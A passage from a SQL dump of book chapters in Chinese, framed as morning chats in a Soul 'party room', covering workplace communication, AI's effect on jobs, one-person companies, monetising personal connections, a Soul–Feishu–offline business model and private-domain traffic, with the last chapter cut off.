沟通差的问题:为什么你说的别人听不懂\n\n\"我发现一个问题,就是我说的话,别人经常听不懂。\"\n\n2025年12月3日,周三,早上6点18分。\n\n那天派对房里来了个程序员,语气有点无奈。\n\n他说他在公司里跟产品经理、跟老板沟通,总是鸡同鸭讲。\n\n我问:\"能举个例子吗?\"\n\n他说:\"比如我跟老板说,这个功能需要重构底层架构,老板就问我,重构是什么意思?需要多长时间?能不能不重构?\"\n\n\"我解释了半天,他还是不理解为什么要重构。\"\n\n---\n\n派对房里,有人说:\"那是老板不懂技术。\"\n\n我说:\"不对。问题不在老板,在你。\"\n\n---\n\n我继续说。\n\n\"沟通的本质是什么?是让对方理解你的意思。\"\n\n\"如果对方没理解,那就是你的问题,不是对方的问题。\"\n\n\"因为沟通的责任在说话的人,不在听话的人。\"\n\n---\n\n派对房里,那个程序员说:\"但我说的是事实啊,是技术上的事实。\"\n\n我说:\"事实不重要,重要的是对方能不能理解。\"\n\n\"你用技术语言跟一个不懂技术的人说话,他当然听不懂。\"\n\n\"这不是他的问题,是你没有\'翻译\'。\"\n\n---\n\n\"什么叫翻译?\"\n\n\"就是把你的专业语言,翻译成对方能理解的语言。\"\n\n---\n\n我举了个例子。\n\n\"比如你说\'重构底层架构\',老板听不懂。\"\n\n\"你应该怎么说?\"\n\n\"你应该说:\'老板,现在这个系统就像一栋老房子,地基有问题。我们可以继续往上盖,但盖到一定程度就会塌。如果我们现在花两周时间把地基加固一下,以后就不用担心这个问题了。\'\"\n\n---\n\n派对房里,有人说:\"这样说确实更容易理解。\"\n\n我说:\"对。\"\n\n\"这就是翻译。\"\n\n\"你把\'重构底层架构\'翻译成\'加固地基\',老板一下就懂了。\"\n\n---\n\n我继续说。\n\n\"沟通差的人,通常有几个问题。\"\n\n\"第一,只会用自己的语言说话。\"\n\n\"他们不会根据听众调整表达方式,对谁都用同样的说法。\"\n\n\"第二,只说事实,不说意义。\"\n\n\"他们会告诉你\'是什么\',但不会告诉你\'为什么重要\'、\'对你有什么影响\'。\"\n\n\"第三,只顾自己说,不管对方听没听懂。\"\n\n\"他们说完就觉得自己的任务完成了,不会确认对方是否理解。\"\n\n---\n\n派对房里,有人问:\"那怎么提高沟通能力?\"\n\n我说:\"有几个方法。\"\n\n\"第一,了解你的听众。\"\n\n\"在说话之前,先想想对方是什么背景、什么水平、关心什么。\"\n\n\"然后根据这些来调整你的表达方式。\"\n\n---\n\n我继续说。\n\n\"第二,先说结论,再说原因。\"\n\n\"很多人说话喜欢从头说起,铺垫一大堆,最后才说结论。\"\n\n\"但对方可能听到一半就走神了。\"\n\n\"你应该先说结论:\'老板,我建议我们花两周时间做一次系统升级。\'\"\n\n\"然后再解释原因:\'因为现在的系统有一些隐患,如果不处理,以后可能会出大问题。\'\"\n\n---\n\n我停了一下。\n\n\"第三,用对方熟悉的东西做类比。\"\n\n\"抽象的概念很难理解,但具体的例子很容易理解。\"\n\n\"你说\'重构架构\',对方听不懂。\"\n\n\"你说\'加固地基\',对方一下就懂了。\"\n\n\"因为\'地基\'是对方熟悉的概念。\"\n\n---\n\n我继续说。\n\n\"第四,确认对方是否理解。\"\n\n\"说完之后,问一句:\'我说清楚了吗?还有什么其他没解释清楚的问题吗?\'\"\n\n\"如果对方有问题,再解释一遍。\"\n\n\"不要假设对方听懂了,要确认。\"\n\n---\n\n派对房里,那个程序员说:\"我明白了,我以前确实没考虑过对方的感受。\"\n\n我说:\"这不是感受的问题,是效率的问题。\"\n\n\"你沟通不清楚,对方不理解,你们就要反复沟通。\"\n\n\"一件事情本来五分钟能说清楚,结果说了一个小时还没说清楚。\"\n\n\"这是巨大的时间浪费。\"\n\n---\n\n那天聊完,派对房里有人说:\"沟通能力真的很重要。\"\n\n我说:\"沟通能力可能是最被低估的能力。\"\n\n\"很多人觉得,只要我专业能力强,沟通差一点没关系。\"\n\n\"但实际上,如果你不能把你的专业能力表达出来,别人就不知道你有多厉害。\"\n\n\"你的能力就被埋没了。\"\n\n---\n\n我停了一下。\n\n\"反过来,有些人专业能力一般,但沟通能力很强。\"\n\n\"他们能把自己的想法清晰地表达出来,能说服别人支持他们。\"\n\n\"结果他们的发展反而比专业能力强的人更好。\"\n\n---\n\n早上7点02分,那个程序员说他要去上班了。\n\n临走前他说:\"今天学到一个词,翻译。以后跟老板说话,我先翻译一下。\"\n\n我笑了笑。\n\n其实沟通这件事,没有什么高深的技巧。\n\n核心就一句话:站在对方的角度想问题。\n\n你想让对方理解你,就要先理解对方。\n\n这不只是沟通的道理,也是做人的道理。\n', 1715, 0, 1.00, 5, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.515', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (6, '10.1', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', 'AI时代:哪些工作会消失,哪些会崛起', '# 10.1 AI时代:哪些工作会消失,哪些会崛起\n\n\"未来五年,50%的工作岗位会被AI取代。但同时,会诞生50%的新岗位。\"\n\n2025年12月17日,周三,早上6点18分。\n\n那天派对房的话题是关于AI渗透性重塑就业。\n\n有人问:\"你觉得哪些工作会先被取代?\"\n\n我说:\"重复性的、标准化的、不需要情感连接的工作。\"\n\n房间里安静了几秒,然后问题像潮水一样涌来。\n\n---\n\n派对房里,有人说:\"那客服是不是第一个?\"\n\n我说:\"对,客服是最典型的。\"\n\n\"你想想,现在很多公司的客服已经是AI了。\"\n\n\"你打电话过去,接你的是机器人。\"\n\n\"你在网上咨询,回复你的也是机器人。\"\n\n\"只有遇到复杂问题,才会转人工。\"\n\n---\n\n我继续说。\n\n\"但客服这个岗位不会完全消失。\"\n\n\"会消失的是那种只会照本宣科、只会复制粘贴的客服。\"\n\n\"不会消失的是什么?是能处理复杂问题、能提供情绪价值的客服。\"\n\n这就是AI时代的规律——————**取代执行,留下判断;取代标准,留下温度。**\n\n---\n\n派对房里,有人问:\"那程序员呢?\"\n\n我说:\"程序员这个群体会分化。\"\n\n\"低端的程序员,就是那种只会写CRUD、只会复制粘贴代码的,会被取代。\"\n\n\"但高端的程序员,能做架构设计、能解决复杂问题的,不会被取代。\"\n\n\"而且会出现一种新的岗位,叫\'AI程序员\'。\"\n\n\"他们不是自己写代码,而是指挥AI写代码,然后负责审核和优化。\"\n\n---\n\n我停了一下。\n\n\"其实你看现在的Cursor、TRAE这些AI编程工具,已经能帮你写大部分代码了。\"\n\n\"程序员的工作从\'写代码\'变成了\'审代码\'。\"\n\n\"这就是AI带来的变化。\"\n\n我们公司现在就在用这些工具,效率提升了至少30%。\n\n---\n\n派对房里,有人说:\"那设计师呢?\"\n\n我说:\"设计师也会分化。\"\n\n\"你看现在的Midjourney、DALL-E,已经能生成非常漂亮的图片了。\"\n\n\"如果你只是做一些简单的海报、banner,AI完全能替代你。\"\n\n\"但如果你是做品牌设计、做用户体验设计,AI暂时还替代不了。\"\n\n\"因为这些工作需要理解人、理解商业、理解文化。\"\n\n---\n\n我继续说。\n\n\"所以你会发现一个规律。\"\n\n\"AI最容易取代的,是\'执行层\'的工作。\"\n\n\"AI最难取代的,是\'决策层\'和\'创意层\'的工作。\"\n\n这也是为什么我们在做咨询的时候,会帮客户梳理他们的业务流程——哪些可以交给AI,哪些必须留给人。\n\n---\n\n派对房里,有人问:\"那什么工作是AI创造出来的?\"\n\n我说:\"很多。\"\n\n\"比如\'AI训练师\',专门给AI标注数据、调整模型的。\"\n\n\"比如\'提示词工程师\',专门研究怎么跟AI对话、怎么让AI输出更好结果的。\"\n\n\"比如\'AI内容审核员\',专门审核AI生成的内容,确保没有问题的。\"\n\n\"比如\'AI伦理专家\',专门研究AI的伦理问题,制定使用规范的。\"\n\n---\n\n我停了一下。\n\n\"还有一类工作,是AI间接创造的。\"\n\n\"比如\'AI工具培训师\',教别人怎么用AI工具的。\"\n\n\"比如\'AI转型顾问\',帮企业做AI转型的。\"\n\n\"比如\'AI内容创作者\',用AI辅助创作内容的。\"\n\n这些新岗位,其实就是新的机会。\n\n我们也在帮一些企业做AI转型的咨询,市场需求很大。\n\n---\n\n派对房里,有人说:\"那普通人应该怎么办?\"\n\n我说:\"有三条路。\"\n\n\"第一条路,学会使用AI。\"\n\n\"AI是工具,谁会用这个工具,谁就有优势。\"\n\n\"你不需要懂AI的原理,你只需要知道怎么用它来提高你的效率。\"\n\n---\n\n我继续说。\n\n\"第二条路,做AI做不了的事。\"\n\n\"什么是AI做不了的?\"\n\n\"需要情感连接的、需要创意的、需要复杂决策的、需要实体操作的。\"\n\n\"比如心理咨询师、比如创意总监、比如企业高管、比如水电工。\"\n\n---\n\n我停了一下。\n\n\"第三条路,成为AI的\'主人\'而不是\'竞争者\'。\"\n\n\"什么意思?\"\n\n\"就是你不要想着跟AI比谁更快、谁更准。\"\n\n\"你要想的是,怎么让AI为你工作。\"\n\n\"你是导演,AI是演员。\"\n\n\"你是老板,AI是员工。\"\n\n这也是我们在派对房里经常讨论的话题————如何用AI放大自己的价值。\n\n---\n\n派对房里,有人问:\"那你觉得未来最有前景的职业是什么?\"\n\n我说:\"我觉得有几个方向。\"\n\n\"第一,AI相关的技术岗位。不是说你要会开发AI,而是你要会应用AI。\"\n\n\"第二,需要情感连接的服务岗位。比如心理咨询、比如高端销售、比如私人教练。\"\n\n\"第三,需要有人情味的创意和审美的岗位。比如品牌策划、比如内容创作、比如产品设计。\"\n\n。。。。。。\n\n---\n\n我停了一下。\n\n\"但最重要的不是选择哪个职业。\"\n\n\"最重要的是保持学习的能力。\"\n\n\"因为未来的变化会越来越快,你今天学的东西,可能三年后就过时了。\"\n\n\"唯一不会过时的,是你学习新东西的能力。\"\n\n这也是我们一直在做的事情——不断学习、不断迭代、不断分享。\n\n---\n\n那天聊完,我在派对房里总结了一下。\n\n\"AI时代,有人恐惧,有人兴奋。\"\n\n\"恐惧的人,是因为他们只看到了AI会取代什么。\"\n\n\"兴奋的人,是因为他们看到了AI会创造什么。\"\n\n---\n\n我继续说。\n\n\"每一次技术革命,都会淘汰一批人,也会成就一批人。\"\n\n\"蒸汽机淘汰了马车夫,但创造了火车司机。\"\n\n\"电脑淘汰了打字员,但创造了程序员。\"\n\n\"AI会淘汰什么,会创造什么,现在还不完全清楚。\"\n\n\"但有一点是确定的:主动拥抱变化的人,永远比被动等待的人更有机会。\"\n\n---\n\n如果你对AI时代的机会感兴趣,欢迎来派对房聊聊。\n\n我们每天早上6点开播,聊的都是真实的案例和思考。\n\n不卖课,不割韭菜,只分享我们的经验和观察。\n\n---\n\nAI时代的生存法则是什么?\n\n第一,学会使用工具。\n\n第二,做工具做不了的事。\n\n第三,保持学习的能力。\n\n做到这三点,你就不会被时代淘汰。\n', 2244, 0, 1.00, 55, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.082', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (7, '10.2', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', '一人公司:为什么越来越多人选择单干', '# 10.2 一人公司:为什么越来越多人选择单干\n\n\"现在做生意,最好的模式是什么?一个人,不招人,不租店,一年赚个几十万。\"\n\n2025年12月19日,周五,早上7点30分。\n\n那天派对房里聊起了创业模式,气氛很轻松。\n\n有人说:\"我不想打工了,但也不想搞一个很大的公司。\"\n\n我说:\"那你可以试试\'一人公司\'。\"\n\n他眼睛亮了起来。\n\n---\n\n派对房里,有人问:\"什么叫一人公司?\"\n\n我说:\"就是字面意思,一个人的公司。\"\n\n\"你不招员工,不租办公室,所有的事情都自己做。\"\n\n\"但你不是个体户,你是一个正规的公司,有营业执照,有银行账户,可以开发票。\"\n\n---\n\n我继续说。\n\n\"为什么越来越多人选择这种模式?\"\n\n\"因为现在的工具太强大了。\"\n\n\"以前你想做一个生意,你需要招人、租店、买设备。\"\n\n\"现在呢?你一个人,一台电脑,一部手机,就能搞定很多事情。\"\n\n这就是AI时代带来的红利——个体的能力被极大放大了。\n\n---\n\n派对房里,有人说:\"但一个人能做多大?\"\n\n我说:\"不需要做很大。\"\n\n\"一人公司的目标不是做大,而是做精。\"\n\n\"你一年赚个30万、50万、100万,就很好了。\"\n\n\"你不需要养一堆员工,不需要操心管理,不需要担心现金流。\"\n\n---\n\n我停了一下。\n\n\"你想想,如果你招了10个员工,一年营收500万,扣掉工资、房租、税费,你可能也就赚50万。\"\n\n\"但如果你一个人,一年营收100万,扣掉一些成本,你可能能赚80万。\"\n\n\"哪个更划算?\"\n\n这是我们在派对房里经常讨论的话题——不是做大,是做对。\n\n---\n\n派对房里,有人问:\"那一人公司适合做什么?\"\n\n我说:\"适合做\'轻资产、高利润、可复制\'的生意。\"\n\n\"什么是轻资产?就是不需要大量投入,不需要囤货,不需要租店面。\"\n\n\"什么是高利润?就是毛利率高,最好能超过50%。\"\n\n\"什么是可复制?就是你做的事情可以标准化,可以用工具来放大。\"\n\n---\n\n我举了几个例子。\n\n\"比如咨询服务。你有某个领域的专业知识,你给别人做咨询,收咨询费。\"\n\n\"比如内容创作。你写文章、拍视频、做播客,然后通过广告、带货、知识付费来变现。\"\n\n\"比如代理分销。你不自己生产,你帮别人卖东西,赚佣金。\"\n\n\"比如技术服务。你会写代码、会做设计、会做运营,你给企业提供外包服务。\"\n\n这些都是我们在派对房里见过的真实案例。\n\n---\n\n派对房里,有人说:\"但一个人做,会不会太累?\"\n\n我说:\"这就是关键。\"\n\n\"一人公司的核心不是\'什么都自己做\',而是\'只做最重要的事\'。\"\n\n---\n\n我继续说。\n\n\"你要学会用工具来替代人力。\"\n\n\"比如用AI来写文案、做设计、处理数据。\"\n\n\"比如用自动化工具来发邮件、发消息、管理客户。\"\n\n\"比如用外包来处理你不擅长的事情。\"\n\n我们自己就是这么做的——能用工具的用工具,能外包的外包,核心的事情自己做。\n\n---\n\n我停了一下。\n\n\"一人公司的老板,不是什么都自己做的人。\"\n\n\"而是知道什么该自己做、什么该交给工具、什么该外包出去的人。\"\n\n这也是我们在做咨询时帮客户梳理的——什么是你的核心价值,什么可以交出去。\n\n---\n\n派对房里,有人问:\"那一人公司的风险是什么?\"\n\n我说:\"有几个风险。\"\n\n\"第一,收入不稳定。你没有固定工资,收入完全取决于你的业务。\"\n\n\"第二,没有团队支持。遇到问题只能自己扛,没有人帮你分担。\"\n\n\"第三,成长有天花板。一个人的精力有限,做到一定规模就很难再往上了。\"\n\n---\n\n我继续说。\n\n\"但这些风险是可以管理的。\"\n\n\"收入不稳定?那你就多开几条收入线,不要把鸡蛋放在一个篮子里。\"\n\n\"没有团队支持?那你就建立自己的\'虚拟团队\',用外包和合作来解决问题。\"\n\n\"成长有天花板?那你就不要追求无限成长,找到自己舒服的规模,保持住就好。\"\n\n这些都是我们在实践中总结出来的经验。\n\n---\n\n那天聊完,派对房里有人说:\"我决定了,我要试试一人公司。\"\n\n我说:\"可以试,但有几个前提。\"\n\n\"第一,你要有一技之长。没有技能,你什么都做不了。\"\n\n\"第二,你要有一定的积蓄。至少能撑半年到一年,让你有时间去探索。\"\n\n\"第三,你要有自律的能力。没有老板管你,你要能管好自己。\"\n\n---\n\n我停了一下。\n\n\"一人公司不是逃避,是选择。\"\n\n\"不是因为你找不到工作才去做一人公司。\"\n\n\"而是因为你知道自己想要什么,知道怎么用最少的资源创造最大的价值。\"\n\n---\n\n如果你也在考虑做一人公司,欢迎来派对房聊聊。\n\n我们可以帮你梳理思路,看看你适合做什么、怎么开始。\n\n不收费,只要你认真。\n\n---\n\n这个时代给了你更多的选择。\n\n你可以选择打工,可以选择合伙创业,也可以选择一人公司。\n\n没有哪个选择是绝对正确的。\n\n关键是,你要知道每个选择的代价和收益,然后做出适合自己的决定。\n\n我们能做的,就是帮你看清楚这些代价和收益。\n', 1866, 0, 1.00, 56, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.093', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (8, '10.3', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', '为什么链接能力会成为第一价值', '# 10.3 为什么链接能力会成为第一价值\n\n认识谁比会什么更值钱,但只有能交付才算价值。\n\n2025年12月22日,周一,早上7点15分。\n\n那天派对房里来了个年轻人,语气有点不自信。\n\n他说:\"我不太会做事,但我认识一些人,这算价值吗?\"\n\n我问:\"你每个月愿意为把认识的人做成服务付多少?\"\n\n他愣了。\n\n我说:\"认识人不是价值,能把认识的人变成交付才是价值。\"\n\n---\n\n在Soul上,我认识了很多靠\"链接\"赚钱的人。\n\n有个做私域的朋友分享了他的模式:\n\n\"我平常也就开两三个小时,基本都6点多起来起床就开播,然后链接。我发现Soul上引流还是可以的,不管线下还是什么。\"\n\n\"腾讯已经入股很久了,占现在49.9%股份。他现在打法有点像11年的QQ、14年的微信,跟17年的抖音很像。\"\n\n另一个朋友说得更直接:\n\n\"Soul上我认识好多好朋友。我们最近搞了个雪茄吧,就在鼓浪屿对面。亏了400万。但通过这个圈子认识了币圈的人、投\n\n资圈的人,链接的价值远超400万。\"\n\n链接能力的价值不在于认识多少人,在于能不能把关系变成交付。\n\n---\n\n派对房里,我们讨论了几个真实的链接变现案例。\n\n案例1:软件协会资源对接\n\n\"软协副会长专门帮一些软件公司做退税,是一把手授权他来做商业化,其他人不能做。深圳的这块很吃香。\"\n\n\"我们为什么跟你说这个事情?因为我们无非能不能做先验证这个实力和这个人对不对等,只是条件问题,就很快了。\"\n\n案例2:学校资源链接\n\n\"我刚刚给你发了这个,有张图,你可以看到80所学校都是中专。人在海外,老板在海外,但国内的学校交给他妹妹去打\n\n理,也一直想让学生变现。\"\n\n\"学生就做基础任务就可以了,也不要让他做太复杂的事情。\"\n\n案例3:游戏公司对接\n\n\"游戏公司这里面应该有你认识的吧?这些都知道。这个一把手我们都很熟。就是异业关系的这种逻辑,然后我就从他那里搂\n\n游戏出来分包一下,丢到海外。\"\n\n这些案例都有一个共同点:链接只是开始,交付才是关键。\n\n---\n\n派对房里有人问:\"你觉得链接的核心是什么?\"\n\n我说:\"分润与交付的规则。\"\n\n所有链接必须写规则:\n- 动作说明\n- 质检点\n- 交付节点\n- 分润比例与到账条件\n\n\"没有规则,就是人情消耗。有规则,才是长期合作。\"\n\n这也是我们在帮客户做咨询时反复强调的,把关系变成流程,把流程变成规则。\n\n---\n\n有个做了很多年的朋友分享了他的教训:\n\n\"我早期14年的时候带了一群游戏主播,教他们打粉、直播、把粉丝引到微信里面去。最早的时候是七三开我拿七他三,后\n\n面变成三七开他拿七,随着他的粉丝量越来越多。到16年的时候我拿1%,最后1%都没有。\"\n\n\"不管曾经关系多好,都不要去挑战人性。\"\n\n---\n\n基于这个教训,我们总结出正确的链接姿势:\n\n\"后面非常简单,就是做流程拆解。你直播间你就好好玩游戏,我给你钱就行,养着你就可以了。后面成交转化产品供应链所\n\n有的流程,我给你配团队,全部来做完。\"\n\n\"他就不需要学太多,你就给我学打粉一样。要去比赛,我保你比赛赞助给你。每个月分个一、两万给你。后端的所有的人做\n\n重的全部放公司底下。\"\n\n这就是链接的终极形态,你做简单的,我做复杂的,规则清晰,利益明确。\n\n---\n\n如果你也有资源但不知道怎么变现,欢迎来派对房聊聊。\n\n我们可以帮你梳理你的资源,看看怎么做成可交付的服务。\n\n不是所有资源都能变现,但我们可以帮你找到那些能变现的。\n\n---\n\n链接不是聊天,链接是把关系变成交付。\n\n- 把\"认识谁\"变成\"做成什么\"\n- 把\"会说话\"变成\"会交付\"\n- 把\"一次对接\"变成\"长期分润\"\n\n认识谁比会什么更值钱,但只有能交付才算价值。\n\n这是我们在派对房里见证过无数次的规律。\n', 1444, 0, 1.00, 57, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.105', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (9, '10.4', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', '新型公司:Soul-飞书-线下的三位一体', '# 10.4 新型公司:Soul-飞书-线下的三位一体\n\n把\"看到你\"变成\"跟着你\",再变成\"按时交付\"。\n\n2025年12月25日,周四,早上7点55分。\n\n圣诞节的早晨,派对房里来了个老板,语气很实在。\n\n他说:\"我们聊天多、线下忙、系统杂,你说的三位一体怎么搭?\"\n\n我问:\"你每个月愿意为承诺能兑现付多少?\"\n\n他笑了:\"只要稳。\"\n\n我说:\"那我们从头聊一遍。\"\n\n---\n\n我在Soul上做了一个实验:每天6-9点开播,看能链接多少人。\n\n有个朋友问我为什么选Soul:\n\n\"Soul现在打法有点像11年的QQ、14年的微信,跟17年的抖音很像。他现在做内部的人群分层跟流量池搭建,包括Soul上\n\n面的招聘,跟14年微信的招聘难度差不多,只多了一个AI板块跟大数据板块。\"\n\n\"所以我就蛮看好这个平台的,就上来自己先干再说,也不逼太多。确实限制的比较少,而且现在还没有加大流量。\"\n\n另一个朋友补充了他的观察:\n\n\"我现在做的事情也是一样,我们是用电竞的主播做入口,签一些电竞的明星比较出名的,然后把他粉丝囤到私域里边去。现\n\n在也是在做类似Soul的这么一个事情。\"\n\n这就是三位一体的逻辑,Soul是窗口,飞书是中台,线下是交付。\n\n---\n\n基于派对房的讨论,我们把三位一体拆解为:\n\nSoul这块(窗口):\n- 每天6-9点开播\n- 分享真实案例和商业逻辑\n- 评论区留清单,引导加微信\n\n飞书这块(中台):\n- 表单收集需求\n- 工单跟进进度\n- 看板追踪SLA\n\n线下这块(交付):\n- 约见做方案交付复盘\n- 谁负责、几点办、办到什么程度\n- 写在客户卡片里\n\n这套结构,我们自己在用,也帮很多客户搭建过。\n\n---\n\n我在派对房里分享过我的真实数据:\n\n 67场直播,累计5500多分钟;\n\n- 单场额外曝光46182次,人均停留13-25分钟;\n\n- 加微信40多人,线上团队20多人,进派对群100多人(每日递增中);\n\n- 线下见面27-35人(本地+外地).\n\n\"Soul上的场观价值是抖音的20倍。抖音1000人场观可能加1个微信,Soul上40-50人场观能加2-5个微信。\"\n\n有个朋友问我为什么效率这么高:\n\n\"因为Soul是灵魂社交,来的人本来就是想链接的。不像抖音是娱乐消费,来的人只是看热闹。\"\n\n这就是平台选择的重要性,选对窗口,中台和线下才能发挥价值。\n\n---\n\n派对房里有人问:\"你觉得核心是什么?\"\n\n我说:\"承诺的可视化与节点的按时化。\"\n\n- 可视化是\"承诺曲线\"\n- 按时化是\"SLA\"\n- 所有承诺都在看板里\n- 所有按时都在曲线里\n\n\"我们不晒营收,我们晒兑现率与满意度。\"\n\n这也是我们帮客户做咨询时的核心指标。\n\n---\n\n如果你也想搭建这样的三位一体结构,可以来派对房聊聊。\n\n我们可以帮你:\n- 选择合适的窗口平台\n- 搭建飞书中台\n- 设计线下交付流程\n\n不是卖软件,是帮你建结构。\n\n---\n\n新型公司不是把三个工具摆在一起。\n\n是把\"看到你\"变成\"跟着你\",再把\"跟着你\"变成\"按时交付\"。\n\n- Soul是入口(窗)\n- 飞书是流程(中台)\n- 线下是结果(交付)\n\n不靠运气,靠结构。\n\n这是我们在67场派对房里验证出来的模式。\n', 1219, 0, 1.00, 58, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.116', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (10, '11.1', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '私域经济:为什么流量越来越贵', '# 11.1 私域经济:为什么流量越来越贵\n\n\"五年前,抖音一个粉丝的获客成本可能只要几毛钱。现在呢?可能要十几块钱甚至几十块钱。\"\n\n2025年12月20日,周六,早上6点52分。\n\n那天派对房里聊起了流量成本,大家都有点感慨。\n\n有人问:\"为什么流量越来越贵?\"\n\n我说:\"因为供需关系变了。\"\n\n这是商业最基本的规律,但很多人看不清。\n\n---\n\n派对房里,有人说:\"什么意思?\"\n\n我说:\"你想想,五年前有多少人在抖音上做生意?\"\n\n\"可能只有几十万、几百万。\"\n\n\"现在呢?可能有几千万。\"\n\n\"但抖音的用户增长已经放缓了,日活就那么多。\"\n\n\"几千万商家抢几亿用户,流量当然贵了。\"\n\n---\n\n我继续说。\n\n\"这就是为什么大家都在讲私域。\"\n\n\"什么是私域?就是你自己的流量池。\"\n\n\"你的微信好友、你的社群、你的公众号粉丝,这些都是你的私域。\"\n\n\"私域的好处是什么?不用花钱买流量,可以反复触达。\"\n\n这也是我们一直在做的事情,把公域的流量沉淀到私域。\n\n---\n\n派对房里,有人问:\"但私域也不是免费的吧?\"\n\n我说:\"对,私域也有成本。\"\n\n\"你要花时间去维护,要花精力去运营,要提供价值才能留住人。\"\n\n\"但私域的成本是一次性的。\"\n\n\"你加一个微信好友,这个成本是一次性的。\"\n\n\"但你可以跟他聊一年、两年、十年,可以反复成交。\"\n\n---\n\n我停了一下。\n\n\"公域的成本是每次的。\"\n\n\"你在抖音投一次广告,花一次钱,获得一次曝光。\"\n\n\"下次还想曝光?再花钱。\"\n\n\"这就是公域和私域的本质区别。\"\n\n这个逻辑,我们在帮客户做咨询时会反复讲。\n\n---\n\n派对房里,有人说:\"那是不是应该全力做私域?\"\n\n我说:\"不是。\"\n\n\"私域和公域是配合的关系,不是替代的关系。\"\n\n---\n\n我继续说。\n\n\"你想想,你的私域从哪里来?\"\n\n\"还是要从公域引过来。\"\n\n\"你在抖音发视频,有人看了觉得有价值,加你微信,这就是从公域到私域。\"\n\n\"你在小红书发笔记,有人看了想了解更多,关注你的公众号,这也是从公域到私域。\"\n\n---\n\n我停了一下。\n\n\"所以正确的做法是什么?\"\n\n\"在公域获取流量,在私域沉淀流量,在私域变现流量。\"\n\n\"公域是入口,私域是蓄水池。\"\n\n这就是我们在Soul上做的事情,Soul是公域入口,微信是私域蓄水池。\n\n---\n\n派对房里,有人问:\"那私域怎么运营?\"\n\n我说:\"有几个关键点。\"\n\n\"第一,提供价值。你不能天天发广告,要发有用的内容。\"\n\n\"第二,建立信任。你要让用户觉得你是靠谱的,是值得信任的。\"\n\n\"第三,保持互动。你要跟用户聊天,了解他们的需求,让他们感受到你的存在。\"\n\n---\n\n我继续说。\n\n\"很多人做私域,犯的最大错误是什么?\"\n\n\"是把私域当成广告渠道。\"\n\n\"天天发广告、发促销、发链接。\"\n\n\"结果呢?用户要么屏蔽你,要么删除你。\"\n\n---\n\n我停了一下。\n\n\"私域的本质是什么?是关系。\"\n\n\"你跟用户的关系越深,他越愿意买你的东西。\"\n\n\"你跟用户的关系越浅,他越容易被别人抢走。\"\n\n这也是我们在做社群运营时的核心原则。\n\n---\n\n派对房里,有人说:\"那私域能做多大?\"\n\n我说:\"取决于你的能力和精力。\"\n\n\"一个人能维护的私域,可能就几千人。\"\n\n\"再多就需要团队,需要系统,需要工具。\"\n\n---\n\n我继续说。\n\n\"但私域不需要做很大。\"\n\n\"你有1000个铁杆粉丝,每个人一年在你这里消费1000块,你就有100万的营收。\"\n\n\"这就是凯文·凯利说的‘1000个铁杆粉丝理论’。\"\n\n---\n\n那天聊完,我在派对房里总结了一下。\n\n\"流量越来越贵,这是趋势,改变不了。\"\n\n\"你能做的是什么?\"\n\n\"第一,提高流量的转化率:同样的流量,你能转化更多,你就赢了。\"\n\n\"第二,提高用户的复购率:一个用户买一次和买十次,价值完全不一样。\"\n\n\"第三,建立自己的私域:把流量变成自己的,而不是每次都要花钱买。\"\n\n---\n\n如果你也在为流量发愁,欢迎来派对房聊聊。\n\n我们可以帮你梳理你的流量结构,看看哪里可以优化。\n\n不卖课,只分享我们的经验。\n\n---\n\n在流量越来越贵的时代,你需要换一种思维。\n\n从\"买流量\"到\"养流量\";\n\n从\"一次成交\"到\"终身价值\";\n\n从\"追逐平台\"到\"建立自己的池子\"。\n\n这就是私域经济的本质。\n\n我们能做的,就是帮你建立这个池子。\n', 1639, 0, 1.00, 59, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.128', 12, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (11, '11.2', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '银发经济与孤独经济:两个被忽视的万亿市场', '# 11.2 银发经济与孤独经济:两个被忽视的万亿市场\n\n\"中国有2.8亿老年人,有2亿单身人口。这两个群体,是被严重低估的市场。\"\n\n2025年12月27日,周六,早上6点38分。\n\n那天派对房聊起了未来的商业机会,气氛很热烈。\n\n有人问:\"你觉得未来什么赛道最有前景?\"\n\n我说:\"银发经济和孤独经济。\"\n\n房间里安静了一秒,然后问题涌来。\n\n---\n\n派对房里,有人说:\"银发经济我听说过,孤独经济是什么?\"\n\n我说:\"孤独经济就是针对单身人群、独居人群的消费市场。\"\n\n\"你想想,一个单身的年轻人,他的消费习惯跟有家庭的人是完全不同的。\"\n\n---\n\n我继续说。\n\n\"他可能不做饭,天天点外卖。\"\n\n\"他可能不买大包装的东西,都买小包装的。\"\n\n\"他可能不去大型超市,都去便利店。\"\n\n\"他可能不看电视,都刷短视频、玩游戏。\"\n\n\"他可能不社交,但会养宠物、会追星、会加入各种线上社群。\"\n\n---\n\n我停了一下。\n\n\"这些消费习惯背后,是一个巨大的市场。\"\n\n\"一人食、一人住、一人玩、一人旅行。\"\n\n\"每一个细分领域,都是千亿级别的市场。\"\n\n这也是为什么我们在Soul上做派对房,Soul本身就是孤独经济的产物。\n\n---\n\n派对房里,有人问:\"那银发经济呢?\"\n\n我说:\"银发经济更大。\"\n\n\"中国现在有2.8亿60岁以上的老年人。\"\n\n\"到2035年,这个数字会超过4亿。\"\n\n\"4亿人,每个人每年消费1万块,就是4万亿的市场。\"\n\n---\n\n我继续说。\n\n\"但现在大部分企业都在追年轻人。\"\n\n\"为什么?因为年轻人好触达,年轻人愿意尝新,年轻人在社交媒体上活跃。\"\n\n\"但年轻人的钱不好赚。\"\n\n\"为什么?因为年轻人没钱,年轻人生活在互联网时代,选择太多缺少忠诚度。\"